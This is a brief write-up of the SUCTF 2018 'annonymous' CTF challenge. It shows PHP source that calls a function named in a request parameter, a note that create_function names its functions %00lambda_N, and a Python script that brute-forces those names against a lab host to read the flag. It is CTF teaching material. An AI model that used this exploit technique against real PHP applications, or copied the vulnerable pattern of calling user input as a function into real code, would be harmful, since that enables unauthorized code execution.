[SUCTF 2018]annonymous

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
     
    $_GET["func_name"]();
    die();
}
show_source(__FILE__);

create_function()函数在创建之后会生成一个函数名为：%00lambda_%d

import requests

for i in range(1,1000):
    r=requests.get(url='http://7d7feb90-e0f0-4a94-951b-bcbe03cc49de.node3.buuoj.cn/?func_name=%00lambda_{}'.format(i))
    print(r.status_code)
    if 'flag' in r.text:
        print(r.text)
        break